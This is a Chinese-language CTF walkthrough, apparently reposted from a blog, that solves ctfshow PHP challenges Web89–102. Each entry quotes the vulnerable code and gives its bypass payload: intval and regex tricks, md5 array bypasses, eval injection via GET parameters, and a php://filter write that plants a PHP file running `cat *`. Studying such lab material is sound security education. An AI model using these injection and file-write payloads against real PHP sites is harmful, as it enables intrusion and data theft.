Web89
include("flag.php");highlight_file(__FILE__);if(isset($_GET[‘num‘])){$num = $_GET[‘num‘];if(preg_match("/[0-9]/", $num)){die("no no no!");
}if(intval($num)){echo $flag;
}
}
num数组绕过
?num[]=0
Web90
include("flag.php");highlight_file(__FILE__);if(isset($_GET[‘num‘])){$num = $_GET[‘num‘];if($num==="4476"){die("no no no!");
}if(intval($num,0)===4476){echo $flag;
}else{echo intval($num,0);
}
}
base为0,在传参时添加0x绕过
?num=0x117c
Web91
show_source(__FILE__);include(‘flag.php‘);$a=$_GET[‘cmd‘];if(preg_match(‘/^php$/im‘, $a)){if(preg_match(‘/^php$/i‘, $a)){echo ‘hacker‘;
}else{echo $flag;
}
}else{echo ‘nonononono‘;
}
字符 ^ 和 $ 同时使用时,表示精确匹配
/i匹配大小写,/m匹配换行,一般不加/m是不匹配换行以后的左右两端的内容
由于匹配是要以php开头,我们可以在php之前加上换行绕过
?cmd=%0aphp
Web92-95
解法相似
1.利用90题中intval的特性使用不同进制绕过
2.多了一句判断
if(!strpos($num, "0")){die("no no no!!!");
}
看似没法继续用八进制绕过,其实使用非数字符号可以绕过,让查找返回false
}else
echo("yes!")?>
payload举例:
?num=%20010574
Web96
if(isset($_GET[‘u‘])){if($_GET[‘u‘]==‘flag.php‘){die("no no no");
}else{highlight_file($_GET[‘u‘]);
}
没想到啥,看payload是加./绕过的,读取当前目录下
Web97
include("flag.php");highlight_file(__FILE__);if (isset($_POST[‘a‘]) and isset($_POST[‘b‘])) {if ($_POST[‘a‘] != $_POST[‘b‘])if (md5($_POST[‘a‘]) === md5($_POST[‘b‘]))echo $flag;else
print ‘Wrong.‘;
}
但这里没法实现,原因不明
拿数组可以绕过a[]=1&b[]=2
Web98
include("flag.php");$_GET?$_GET=&$_POST:‘flag‘;$_GET[‘flag‘]==‘flag‘?$_GET=&$_COOKIE:‘flag‘;$_GET[‘flag‘]==‘flag‘?$_GET=&$_SERVER:‘flag‘;highlight_file($_GET[‘HTTP_FLAG‘]==‘flag‘?$flag:__FILE__);
html的三元运算符
$_GET?$_GET=&$_POST:‘flag‘;
表示如果GET传参,则用POST传参flag覆盖
$_GET[‘flag‘]==‘flag‘?$_GET=&$_COOKIE:‘flag‘;
同理如果GET传参是flag字符串,则用cookie传参的flag覆盖
以下同理
$_GET[‘flag‘]==‘flag‘?$_GET=&$_SERVER:‘flag‘;
highlight_file($_GET[‘HTTP_FLAG‘]==‘flag‘?$flag:__FILE__);
如果传参的HTTP_FLAG为flag字符串,则读取flag文件,最后highlight显示
就是说GET要传参,但不能传flag,要拿POST的HTTP_FLAG传flag
Web99
highlight_file(__FILE__);$allow = array();for ($i=36; $i < 0x36d; $i++) {array_push($allow, rand(1,$i));
}if(isset($_GET[‘n‘]) && in_array($_GET[‘n‘], $allow)){file_put_contents($_GET[‘n‘], $_POST[‘content‘]);
}
首先是定义一个数组,然后向数组里面插入随机数,当GET传参的内容符合数组里随机数时,向传参名字的文件里写入POST的content内容
不是很懂怎么解法,看了hint
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换
//eg:n=1.php自动转换为1
就是说in_array()的type没有设置为true,则不存在的值会不检测,自动转换
Web100
highlight_file(__FILE__);include("ctfshow.php");//flag in class ctfshow;
$ctfshow = newctfshow();$v1=$_GET[‘v1‘];$v2=$_GET[‘v2‘];$v3=$_GET[‘v3‘];$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);if($v0){if(!preg_match("/\;/", $v2)){if(preg_match("/\;/", $v3)){eval("$v2(‘ctfshow‘)$v3");
}
}
}
ctfshow类开辟空间,提示我们flag在ctfshow类里面
看了代码有迷惑我们的$v2(‘ctfshow‘)$v3,其中v2肯定是命令,v3传分号
v0是三个值相与,v2和v3不传数字和v1数字相与就为1
payload:
?v1=1&v2=var_dump($ctfshow)&v3=;
或者v3直接用内联注释注释掉
?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
到这一步看不懂编码问题,问了出题人才知道,替换0x2d(十六进制ASCII的‘-’符号)
Web101
include("ctfshow.php");//flag in class ctfshow;
$ctfshow = newctfshow();$v1=$_GET[‘v1‘];$v2=$_GET[‘v2‘];$v3=$_GET[‘v3‘];$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);if($v0){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\‘|\,|\.|\;|\?|[0-9]/", $v2)){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\‘|\,|\.|\?|[0-9]/", $v3)){eval("$v2(‘ctfshow‘)$v3");
}
}
}
过滤了很多符号,不能用var_dump输出信息
看了hint考的是类反射
PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。
$class = new ReflectionClass(‘Person‘); // 建立 Person这个类的反射类
$instance = $class->newInstanceArgs($args); // 相当于实例化Person 类
构造语句导出类信息
?v1=1&v2=echo new Reflectionclass&v3=;
Web102
highlight_file(__FILE__);$v1 = $_POST[‘v1‘];$v2 = $_GET[‘v2‘];$v3 = $_GET[‘v3‘];$v4 = is_numeric($v2) and is_numeric($v3);if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;file_put_contents($v3,$str);
}else{die(‘hacker‘);
}
substr截取字符串
call_user_func等于调用方法或变量
hint:
GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
POST
v1=hex2bin#访问2.php后查看源代码获得flag
file_put_contents($v3,$str);
上面语句中,v3是我们可以控制的协议流
用base64解码写入文件,在文件包含遇到过
v2传的值,通过解码(4字节一组),能绕过substr的截断
再由v1传的hex2bin函数进行转换,存入2.php
可见这里绕过了substr
PD89YGNhdCAqYDs
=`cat *`;
还有个问题是v4
测试中如果是字符串,is_numeric是不返回值或者返回false,不会返回任何数字的,所以只要v2是数字,v4与运算以后就是1
原文:https://www.cnblogs.com/echoDetected/p/13999517.html